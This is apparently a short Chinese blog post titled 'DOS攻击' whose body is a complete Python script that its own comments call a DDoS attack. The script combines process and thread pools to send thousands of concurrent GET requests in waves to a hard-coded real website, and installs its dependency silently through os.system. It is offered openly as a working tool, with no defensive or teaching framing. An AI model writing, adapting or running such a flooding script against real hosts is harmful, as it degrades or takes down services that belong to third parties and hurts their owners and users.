多进程的代理

DOS攻击

# -*- coding: utf-8 -*-
import os
import sys
import multiprocessing as mp
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool
from datetime import datetime
try:
    import requests
except ImportError:
    os.system('pip install requests')
    import requests

# 波次
WAVES = 128
# 进程分配(多个波次同时作用)数
MPS = 39
# 每波请求数
AMOUNTS = 36
# 线程分配(每个波次的请求任务同时执行)数
THS = 20
#
# 总请求数: WAVES * AMOUNTS
# 总并发数: MPS * THS
#

def do_request(*args):
    '''发送post请求(ddos发起的请求)'''
    try:
        resp = requests.get('https://gsw945.com/')
        print(resp.ok)
        return resp.ok
    except:
        return None

def do_ddos(*args):
    '''ddos攻击实现'''
    global THS, AMOUNTS
    # THS 个线程去执行do_request
    tpool = ThreadPool(THS)
    # do_request 执行36次(每一波攻击发请求36次)
    tresult_proxy = tpool.map_async(do_request, range(0, AMOUNTS))
    # 关闭线程池
    tpool.close()
    # 等待线程池中所有作业执行完成
    tpool.join()
    # 收集结果
    result = tresult_proxy.get()
    return result

def main():
    '''主调'''
    global MPS, WAVES
    # MPS 个进程去执行 do_ddos
    pool = Pool(processes=MPS)
    # do_ddos 执行128次(128波ddos攻击)
    result_proxy = pool.map_async(do_ddos, range(0, WAVES))
    # 关闭进程池
    pool.close()
    # 等待进程池中所有进程完成
    pool.join()
    # 收集结果
    result = result_proxy.get()
    print(result)

if __name__ == '__main__':
    # 多进程针对windows平台特殊处理
    if sys.platform == 'win32' or os.name == 'nt':
        mp.freeze_support()
    # 开始时间
    dt_begin = datetime.now()
    begin_str = dt_begin.strftime('%Y-%m-%d %H:%M:%S.%f')
    print('开始:', begin_str)
    # 调用
    main()
    # 结束时间
    dt_end = datetime.now()
    end_str = dt_end.strftime('%Y-%m-%d %H:%M:%S.%f')
    print('结束:', end_str)
    # 时间差(耗时)
    dt_diff = dt_end - dt_begin
    print('共用[{0.seconds}]秒[{0.microseconds}]微秒'.format(dt_diff))

你可能感兴趣的:(多进程的代理)